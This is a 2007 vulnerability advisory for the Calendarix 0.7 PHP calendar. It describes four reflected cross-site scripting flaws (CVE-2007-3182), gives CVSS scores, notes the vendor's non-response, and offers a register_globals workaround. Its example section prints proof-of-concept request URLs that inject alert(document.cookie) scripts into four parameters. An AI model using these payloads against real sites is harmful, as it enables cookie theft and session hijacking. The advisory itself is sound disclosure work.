Calendarix version 0.7. 20070307 Multiple XSS Attacks

2007.06.28
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

netVigilance Security Advisory #37 Calendarix version 0.7. 20070307 Multiple XSS Attacks Description: Calendarix is a powerful and easy to use calendar based on PHP and MySQL. It has been developed with ease of use and quick access to information in mind. It provides the user with the quickest possible navigation and accessing the most commonly used functions in the shortest steps. Successful exploitation requires PHP register_globals set to On for the first and second vulnerabilities. External References: Mitre CVE: CVE-2007-3182 NVD NIST: CVE-2007-3182 OSVDB: 35372 Summary: Calendarix is a powerful and easy to use calendar based on PHP and MySQL. Security problem in the product allows attackers to conduct XSS attacks. Advisory URL: http://www.netvigilance.com/advisory0037 Release Date: 06/19/2007 Severity: Risk: Medium CVSS Metrics: Access Vector: Remote Access Complexity: High Authentication: Not-required Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Impact Bias: Normal CVSS Base Score: 5.6 Target Distribution on Internet: Low Exploitability: Functional Exploit Remediation Level: Workaround Report Confidence: Uncorroborated Vulnerability Impact: Attack Host Impact: XSS Attack SecureScout Testcase ID: TC 17965 Vulnerable Systems: Calendarix version 0.7. 20070307 Vulnerability Type: XSS (Cross-Site Scripting) to force a web-site to display malicious contents to the target, by sending a specially crafted request to the web-site. The vulnerable web-site is not the target of attack but is used as a tool for the hacker in the attack of the victim. Vendor: Vincent Hor (Calendarix Enterprise) Vendor Status: Vincent Hor of Calendarix Enterprise was not interested in coordinating release of Patch and Security Advisory, There is no official solution at this time. Workaround: In the php.ini file set register_globals = Off. Example: XSS Attack Vulnerability 1: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?year=<script>alert(docu ment.cookies)</script> REPLY: will execute <script>alert(document.cookie)</script> XSS Attack Vulnerability 2: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month="><script>alert(d ocument.cookies)</script> REPLY: will execute =<script>alert(document.cookie)</script> XSS Attack Vulnerability 3: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/yearcal.php?ycyear=<script>alert(doc ument.cookies)</script> REPLY: will execute =<script>alert(document.cookie)</script> XSS Attack Vulnerability 4: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/cal_footer.inc.php?leftfooter=<scrip t>alert(document.cookies)</script> REPLY: will execute =<script>alert(document.cookie)</script> Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com ?? ?? ?? ??


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